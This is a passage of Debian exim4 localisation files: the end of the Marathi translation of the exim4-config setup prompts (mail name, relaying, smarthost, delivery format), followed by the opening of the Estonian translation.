"Really leave the mail system unconfigured?" msgstr "खरोखरच टपाल प्रणाली असंरचित सोडायची?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "आपली टपाल प्रणाली संरचित होईपर्यंत ते मोडलेले राहील, व वापरता येणार नाही. अर्थातच नंतर " "एकतर स्वतःच, किंवा मूल असताना \"डिपीकेजी-पुनर्रचना एक्झिम४-रचना\" चालवून आपण ते संरचित " "करु शकता." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "प्रणाली टपाल नाव:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "'टपाल नाव' हे डोमेन नावाशिवायचा टपाल पत्ता 'पात्र ठरवण्यासाठी' वापरायचे डोमेन नाव " "आहे." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "हे नाव इतर प्रोग्राम सुद्धा वापरतील; ते एकटे, संपूर्ण डोमेन नाव (एफक्यूडीएन) असले पाहिजे, " "ज्याच्यापासून टपालाचा उगम झाल्याचे भासेल." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "म्हणजे, जर स्थानिक यजमानावर टपाल पत्ता फू@एक्झाम्पल.ऑर्ग असेल, तर या पर्यायाचे योग्य मूल्य " "एक्झाम्पल.ऑर्ग असेल." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "आपण पुनर्लेखन कार्यसक्षम केल्यास हे नाव बाहेर पाठवल्या जाणाऱ्या पत्रांमधील कडून: ओळींमधे " "दिसणार नाही." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "टपाल स्वीकारण्यासाठीची इतर अंत-स्थळे:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "स्थानिक यजमान-नाव (${एफक्यूडीएन}) आणी \"स्थानिकयजमान\" व्यतिरिक्त या मशीनसाठी अंतिम " "अंत-स्थळे ठरू शकतील अशा डोमेनस्ची यादी द्या." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "मूलतः सर्व डोमेनस्ना समान वागणूक दिली जाईल; जर आपल्याला वेगवेगळ्या डोमेन नावांना वेगवेगळी " "वागणूक द्यायची असेल, तर तुम्हाला मागाहून विन्यास फाइल संपादित करावी लागेल." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "टपाल रीले करण्यासाठीचे डोमेनस्:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "ज्या प्राप्तकर्त्या डोमेन करिता ही प्रणाली टपाल पाठवणार आहे, उदाहरणार्थ, फालबॅक एमएक्ॊ " "किंवा टपाल गेटवे, अशांची अर्धविरामाने विलग केलेली यादी द्या. याचा अर्थ असा की ही " "प्रणाली या डोमेनकरिता महाजालावरून कोठुनही टपालाचा स्विकार करेल व स्थानिक वितरण " "नियमांनुसार त्यांचे वितरण करेल." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "इथे स्थानिक डोमेनचा उल्लेख करू नका. वाइल्डकार्डांचा वापर करता येइल." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "टपाल रीले करण्यासाठीची मशीनस्:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "स्मार्टहॉस्ट म्हणून कार्य करून ज्यांच्यासाठी ही प्रणाली विनाअट टपाल हस्तांतरित करेल,अशा " "आयपी पत्त्यांची अर्धविरामाने विलग केलेली यादी द्या." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "काही असल्यास विसर्गांनी वेगळे करून त्यांची इथे नोंद करा. आपण प्रमाणित पत्ता/लांबी संरूप " "वापरणे आवश्यक आहे (उदा. १९४.२२२.२४२.०/२४)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "जर ही प्रणाली कोणत्याही इतर यजमानाकरिता स्मार्टहोस्ट होणार नसेल तर, ही यादी रिकामी " "ठेवा." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "स्थानिक वापरकर्त्यांसाठी दृष्य डोमेन नाव:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "पाहेर जाणाऱ्या संदेशांमधे स्थानिक संदेश नाम लपवण्याचा पर्याय कार्यसक्षम केला गेला आहे. " "त्यामुळे, स्थानिक वापरकर्त्याच्या 'पाठवणाऱ्याचे पत्ते मधील डोमेन भागाकरिता प्रणालीने " "वापरायचे डोमेन नाव निर्धारित करणे आवश्यक आहे." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "बाहेर जाणाऱ्या स्मार्टहॉस्टचा आयपी पत्ता किंवा हॉस्ट नाव:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "बाहेर जाणारा स्मार्टहॉस्ट म्हणून प्रणालीतर्फे वापरला जाईल अशा टपाल परिसेवकाचा आयपी " "पत्त्ा किंवा यजमान नाव द्या. जर हा स्मार्टहॉस्ट टीसीपी २५ एेवजी फक्त अन्य पोर्ट वरच " "टपाल स्वीकारत असेल तर दोन स्तंभ व पोर्ट क्रमांक जोडा (उदाहरणार्थ स्मार्टहॉस्ट " "उदाहरण::५८७ किंवा ९२ १६८ २५४ २५४::२५२५). आयपीव्ही६ पत्त्यांमधील विराम दुप्पट करणे " "गरजेचे आहे." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "एसएमटीपी प्रमाणन संरचित करण्यासाठीच्या माहितीकरिता /वापरकर्ता/सामायिक/दस्तावेज/" "एक्झिम४-पाया/माहितीवाचा.डेबियन.एचटीएमएल पहा." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "मूल आणी पोस्टमास्टर स्वीकारकर्ता:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "'पोस्टमास्टर', 'मूल', व प्रणालीच्या इतर खात्यांचे टपाल प्रत्यक्षातील प्रणाली प्रशासकाच्या " "वापरकर्ता खात्यात पुनर्निर्देशित करणे गरजेचे आहे." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "हे मूल्य रिक्त ठेवल्यास, असे टपाल /व्हार/मेल/मेल मधे संचयित केले जाईल, जे शिफारसपात्र नाही." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "\"पोस्टमास्टर\", \"मूल\", आणी इतर प्रणाली खाती यांचे टपाल बहुदा प्रत्यक्षातील प्रणाली " "प्रशासकाच्या वापरकर्ता खात्यामधे पुनर्निर्देशित केले जाते. जर आपण हे मूल्य रिक्त ठेवले, तर असे " "टपाल /व्हार/टपाल/टपाल संचित होईल, जे अयोग्य वाटते. पोस्टमास्टरचे टपाल दुसरीकडे पाठवले न " "जाता, ज्या प्रणालीकडे निर्देशित केले आहे, तेथेच वाचले गेले पाहिजे, हे लक्षात घ्या. म्हणूनच आपण " "निवडत असलेल्या वापरकर्त्यांनी (किमान एकाने तरी) त्यांचे टपाल या मशीनकडून पुनर्निर्देशित " "करता कामा नये. बळाने स्थानिक बटवडा करण्यासाठी \"वास्तविक-\" पूर्वप्रत्यय वापरा." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "रिक्त जागांनी विलग केलेली एक वा अनेक वापरकर्ता नावे द्या." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "येणाऱ्या एसएमटीपी जोडण्या ऎकण्याकरिता आय-पी पत्ते:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "अर्धविरामाने विलग केलेली आयपी पत्त्यांची यादी द्या. एक्झिम एसएमटीपी चा एेकण्याचा " "कार्यक्रम या यादीतील सर्व आयपी पत्त्यांना एेकेल." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "जर आपण हे मूल्य रिक्त ठेवले, तर एसएमटीपी पोर्टवरील सर्व उपलब्ध नेटवर्क अंतराफलकांच्या " "जोडण्या एक्झिम ऎकेल." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "जर या संगणकाला इतर यजमानांकडून दर एसएमटीपी थेट टपाल येत नसेल, पण फेचमेल वा " "स्थानिकयजमान शी बोलणाऱ्या तुमच्या इ-मेल प्रोग्रॅम (एमयूए) सारख्या स्थानिक सेवांकडून येत " "असेल, तर आपण हा पर्याय १२७.०.०.१ ठेऊन व त्यामुळे सार्वजनिक नेटवर्क अंतराफलकांना एॆकणे " "अक्षम करून एक्झिमच्या बाह्य जोडण्यांना प्रतिबंध केला पाहिजे." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "डीएनएस-चौकशा संख्या कमितकमी ठेवायची (डायल-ऑन-डिमांड)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "प्रचालनाच्या नेहमीच्या पद्धतीत एक्झिम प्रारंभ होताना जेंव्हा संदेशांची देवाण वा घेवाण इत्यादी " "होते, नोंदींच्या उद्देशाने आणी विन्यास फाइल मधील हार्ड-कोडेड मूल्यांची संख्या कमी ठेवाव्या " "म्हणून तेंव्हाडीएनएस-पहाण्या करते." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "जर हा डायल-ऑन-डिमांड वापरणारा स्थायी डीएनएस-नावपरिसेवक-मुभा नसलेला यजमान असता, तर " "याचे अनावश्यक परिणाम असे झाले असते की, एक्झिम सुरू होताना वा रांग चालू करताना (कोणताच " "संदेश थांबलेला नसतानाही) महागडी डायल-अप-घटना कदाचित चालू झाली असती." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "ही प्रणाली डायल-ऑन-डिमांड वापरत असेल, तर हा पर्याय निवडा. जर कायम सुरू असणारी " "महाजाल जोडणी असेल तर हा पर्याय कार्यअक्षम केला पाहिजे." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "सर्वसाधारण प्रकारचा टपाल विन्यास:" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "संरचनेचे छोट्या फायलींमधे विभाजन करायचे?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "अंतिम संरचना निर्मितीकरिता डेबियन एक्झिम४ पॅकेजेस् एकतर एकटी एकसंध (मोनोलिथिक) फाइल (/" "इटीसी/एक्झिम४/एक्झिम४.रचना.नमुना) किंवा /इटीसी/एक्झिम४/रचना.डी मधील अदमासे ४० लहान " "फायली वापरू शकतात." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "आधीची मोठया बदलांकरिता जास्त सोयीची आहे, व साधारणतः अधिक स्थिर आहे, याउलट नंतरची " "लहानसहान बदलांकरिता उपयुक्त आहे पण ती जास्त नाजुक आहे, आणी अधिक प्रमाणात बदलल्यास मोडू " "शकेल." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "/यूझर/शेअर/डॉक/एक्झिम४-बेस मधील डेबियन-विशिष्ठ वाचा फायलींमधे विलग व अविलग " "संरचनेसंदर्भात अधिक विस्तृत तपशिल मिळेल." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "बाहेर पाठवल्या जाणाऱ्या पत्रांमधील स्थानिक टपाल नाव लपवायचे?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "वेगळ्या प्रणालीमधून निर्माण झाल्याचे भासवण्याकरिता बाहेर जाणाऱ्या टपालाची शीर्षके कडून, " "कडे-उत्तर, पाठवणारा आणी परत-मार्ग यांतील \"${टपालनाव}\" \"स्थानिकयजमान\" आणी " "\"${डीसी_इतर_यजमाननावे}\" बदलून पुनर्लेखित करता येतील." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "/व्हार/मेल मधे एमबॉक्स स्वरूप" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "गृह निर्दिशिकेत मेलडिर स्वरूप" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "टपाल स्मार्टहोस्टने पाठवले; स्थानिक पत्र नाही" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "स्थानिकरित्या वितरित केलेली ई-पत्रे एक्झिम विविध स्वरुपात संचयित करू शकतो. नेहमी वपरली " "जाणारी म्हणजे एमबॉक्स व मेलडिर. एमबॉक्स /व्हार/मेल/ मधे संचयित केलेल्या संपूर्ण टपाल फोल्डर " "करिता एकच संचयिका वापरते. मेलडिर स्वरूपात प्रत्येक संदेश ~/मेलडिर मधे वेगवेगळ्या संचयिकेत " "संचयित केला जातो." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "डेबियन मधील बहुतेक सर्व टपाल कार्यक्रमांना स्थानिक वितरण पद्धत मूलनिर्धारितपणे एमबॉक्स " "मधे असणे अपेक्षित असते, हे लक्षात घ्या." #~ msgid "Overwrite existing /etc/aliases?" #~ msgstr "अस्तित्वातील /इटीसी/उर्फनावे वर पुनर्लेखन करायचे?" #~ msgid "" #~ "An /etc/aliases file was found on the system, but it does not redirect " #~ "mail for root to a user account, which is strongly recommended." #~ msgstr "" #~ "आपल्याकडे आधीच /इटीसी/उर्फनावे फाइल आहे, पण ती मूल साठीचे टपाल वापरकर्ता खात्यामधे " #~ "पुनर्निर्देशित करत नाही, जे फार आवश्यक आहे. तिच्यावर पुनर्लेखन करणे आपल्याला मान्य असेल, " #~ "तर जुन्या फाइलचे उर्फनावे.ओ असे पुनर्नामांकन करून ती ठेवण्यात येइल." #~ msgid "" #~ "Accepting this option will cause /etc/aliases to be overwritten, and the " #~ "old file will be renamed to aliases.O." #~ msgstr "" #~ "हा पर्याय स्विकारल्यास /इटीसी/उर्फनावे पुनर्लेखित होईल, व जुन्या फाइलचे उर्फनावे.ओ असे " #~ "पुनर्नामांकन केले जाईल." #~ msgid "Move undelivered mails from exim 3 to exim4 spool?" #~ msgstr "अजून पोचती न झालेली पत्रे एक्झिम(व्ही३) मधून एक्झिम४ स्पूलमधे हलवायची?" #~ msgid "" #~ "Choosing this option will move these messages to exim4's spool (/var/" #~ "spool/exim4/input/) where they will be handled by exim4." #~ msgstr "" #~ "/व्हार/स्पूल/एक्झिम/निवेश/ या एक्झिम वा एक्झिम-टीएलएस च्या स्पूल निर्देशिकेमधे काही अजून " #~ "पोचती न झालेली पत्रे आहेत. ती आता एक्झिम४च्या स्पूलमधे (/व्हार/स्पूल/एक्झिम४/निवेश/) " #~ "हलवता येतील, जेथे ती एक्झिम४ द्वारा हाताळली जातील" #~ msgid "" #~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool " #~ "but not the other way round." #~ msgstr "" #~ "हे एकाच दिशेने करता येते हे लक्षात घ्या, एक्झिम४ एक्झिम(व्ही३)चा स्पूल हाताळू शकतो, पण " #~ "उलट होऊ शकत नाही" #~ msgid "" #~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " #~ "the mail shouldn't be moved now but manually once you've converted your " #~ "setup." #~ msgstr "" #~ "एक्झिम(व्ही३) परत वापरणार नसाल तरच पत्रे हलवा, अन्यथा पत्रे आताच न हलवता संरचना " #~ "परिवर्तन झाल्यानंतर स्वहस्ते हलवावीत" #~ msgid "manually convert from handcrafted Exim v3 configuration" #~ msgstr "स्वहस्ते संरचना केलेल्या एक्झिम व्ही३ मधून स्वतःच परिवर्तित करा" #~ msgid "Configure Exim4 manually?" #~ msgstr "एक्झिम४ स्वहस्ते संरचित करायची?" #~ msgid "" #~ "You indicated that you have a handcrafted Exim 3 configuration. To " #~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " #~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " #~ "and /usr/share/doc/exim4-base/README.Debian.gz!" #~ msgstr "" #~ "आपणांकडे एक्झिम ३ ची स्वहस्ते केलेली संरचना असल्याचे आपण दर्शवले आहे. ही एक्झिम ४ मधे " #~ "परिवर्तित करण्यासाठी अधिष्टापनेनंतर आपण एक्झिम_परिवर्तन४र४(८) टूल वापरू शकता. अधिक " #~ "माहितीसाठी /वापरकर्ता/सामायिक/दस्तावेज/एक्झिम४-पाया/उदाहरणे/उदाहरण.रचना.जीझेड " #~ "आणी /वापरकर्ता/सामायिक/दस्तावेज/एक्झिम४-पाया/माहितीवाचा.डेबियन.जीझेड पहा!" #~ msgid "" #~ "Until your mail system is configured, it will be broken and cannot be " #~ "used." #~ msgstr "आपली टपाल प्रणाली संरचित होईपर्यंत ते मोडलेले राहील, व वापरता येणार नाही." #~ msgid "" #~ "Your \"mail name\" is the hostname portion of the address to be shown on " #~ "outgoing news and mail messages (following the username and @ sign) " #~ "unless hidden with rewriting." #~ msgstr "" #~ "पुनर्लेखनामुळे लपवला गेला नसल्यास, आपले \"टपाल नाव\" हा बाहेर पाठवण्याच्या वार्ता व " #~ "पत्र संदेशांच्या पत्त्यामधील यजमान-नाव (वापरकर्ता-नाव व @ चिन्हानंतर येणारा) भाग आहे." #~ msgid "" #~ "If there are any more, enter them here, separated by colons. You may " #~ "leave this blank if there are none." #~ msgstr "" #~ "अजून काही असल्यास विसर्गांनी वेगळे करून त्यांची इथे नोंद करा. नसल्यास, आपण हे क्षेत्र " #~ "रिकामे ठेऊ शकता." #~ msgid "" #~ "Please enter here the domains for which you accept to relay the mail." #~ msgstr "आपण टपाल रीले करण्यासाठी स्वीकारलेल्या डोमेनस्ची इथे नोंद करा." #~ msgid "" #~ "Such domains are domains for which you are prepared to accept mail from " #~ "anywhere on the Internet. Do not mention local domains here." #~ msgstr "" #~ "ही अशी डोमेनस् आहेत, ज्यांसाठी आपण महाजालावर कोठूनही टपाल स्वीकारण्यास तयार आहात. " #~ "इथे स्थानिक डोमेनस्ची नोंद करू नका." #~ msgid "" #~ "The domains you enter here should be separated by colons. Wildcards may " #~ "be used." #~ msgstr "" #~ "आपण इथे नोंदणारी डोमेनस् विसर्गांनी वेगळी केली पाहिजेत. वाइल्डकार्डांचा वापर करता येइल." #~ msgid "" #~ "Please enter here the networks of local machines for which you accept to " #~ "relay the mail." #~ msgstr "आपण टपाल रीले करण्यासाठी स्वीकारलेल्या स्थानिक संगणक जाळ्यांची इथे नोंद करा." #~ msgid "" #~ "This should include a list of all machines that will use us as a " #~ "smarthost." #~ msgstr "" #~ "आपल्याला स्मार्टहोस्ट म्हणून वापरतील अशा मशीनस्ची यादी येथे समाविष्ट केली पाहिजे." #~ msgid "" #~ "You need to double the colons in IPv6 addresses (e.g. " #~ "5f03::1200::836f::::/48)" #~ msgstr "आयपीव्ही६ पत्त्यांमधील विसर्ग दुप्पट करा. (उदा. ५एफ०३::१२००::८३६एफ::::/४८)" #~ msgid "" #~ "Since you enabled hiding the local mailname in outgoing mail, you must " #~ "specify the domain name to use for mail from local users; typically this " #~ "is the machine on which you normally receive your mail." #~ msgstr "" #~ "आपण बाहेर जाणाऱ्या टपालात स्थानिक टपालनाव लपवण्याचा पर्याय कार्यसक्षम केला " #~ "असल्याने, तुम्हाला स्थानिक वापरकर्त्याकडून येणाऱ्या टपालासाठी वापरायचे डोमेन नाव " #~ "निर्धारित करणे आवश्यक आहे; साधारणपणे आपण सामान्यतः टपाल स्वीकारण्याकरिता जे मशीन " #~ "वापरता, ते हे आहे." #~ msgid "Where will your users read their mail?" #~ msgstr "आपले वापरकर्ते हे टपाल कोठे वाचतील?" #~ msgid "Machine handling outgoing mail for this host (smarthost):" #~ msgstr "या यजमानाकरिता बाहेर जाणारे टपाल हाताळणारे मशीन (स्मार्टहोस्ट):" #~ msgid "Enter the hostname of the machine to which outgoing mail is sent." #~ msgstr "ज्या मशीनकडे बाहेर जाणारे टपाल पाठवायचे, त्याचे यजमाननाव द्या." #~ msgid "" #~ "Enter a colon-separated list of IP-addresses to listen on. You need to " #~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." #~ msgstr "" #~ "ऎकण्याकरिता विसर्गांनी वेगळे केलेल्या आयपीव्ही६ पत्त्यांची यादी येथे द्या. तुम्हाला " #~ "आयपीव्ही६ पत्त्यांमधील विसर्ग दुप्पट करणे गरजेचे आहे. (उदा. ५एफ०३::१२००::८३६एफ::::)." #~ msgid "" #~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " #~ "it." #~ msgstr "" #~ "आपण डायल-आॅन-डिमांड वापरत असल्यास हे वैशिष्ट्य कार्यसक्षम करा; अन्यथा, अक्षम करा" #~ msgid "Configuring Exim v4 (exim4-config)" #~ msgstr "एक्झिम व्ही४ संरचित होत आहे (एक्झिम४-रचना)" #~ msgid "If you are unsure then you should not use split configuration." #~ msgstr "खात्री नसल्यास आपण संरचनेचे विभाजन करू नका." debian/po/et.po0000644000000000000000000006407612027557533010602 0ustar msgid "" msgstr "" "Project-Id-Version: Exim\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2005-06-08 13:35+0300\n" "Last-Translator: Siim Põder \n" "Language-Team: Debian-installer tlkemeeskond \n" "Language: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=utf-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Poedit-Language: Estonian\n" "X-Poedit-Country: ESTONIA\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 #, fuzzy msgid "Remove undelivered messages in spool directory?" msgstr "Kustutada puhverkataloogis olevad edastamata kirjad?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 #, fuzzy msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "Exim'i puhverkataloogis /var/spool/exim4/input on mõned veel edastamata " "kirjad. Kui plaanid Exim'i kunagi uuesti paigaldada võid kirjad alles jätta, " "et nad peale paigaldamist ära saata. Võid need kirjad ka kustutada." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "interneti masin; kirjad saadetakse ja võetakse vastu läbi SMTP" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "kirjad saadetakse läbi relee; võetakse vastu SMTP või fetchmailiga" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "kirjad saadetakse läbi relee; kohalikke kirju pole" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "vaid kohalikud kirjad; pole võrgus" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "hetkel ei seadista" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "E-posti üldine seadistus:" #. Type: select #. Description #: ../exim4-config.templates:1002 #, fuzzy msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "Vali sulle kõige paremini sobiv seadistustüüp." #. Type: select #. Description #: ../exim4-config.templates:1002 #, fuzzy msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "Dünaamilise IP aadressiga süsteemid, sealhulgas sissehelistamisteenusega " "süsteemid, peaksid oma kirjad üldjuhul saatma läbi teise masina, mis on nõus " "neid kirju edastama (üldjuhul ISP meiliserver). Säärane süsteem võib kirju " "ka vastu võtta, kuid see pole kohustuslik (va kirjad kastutajatele root ja " "postmaster)" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Kas soovid tõesti postisüsteemi seadistamata jätta?" #. Type: boolean #. 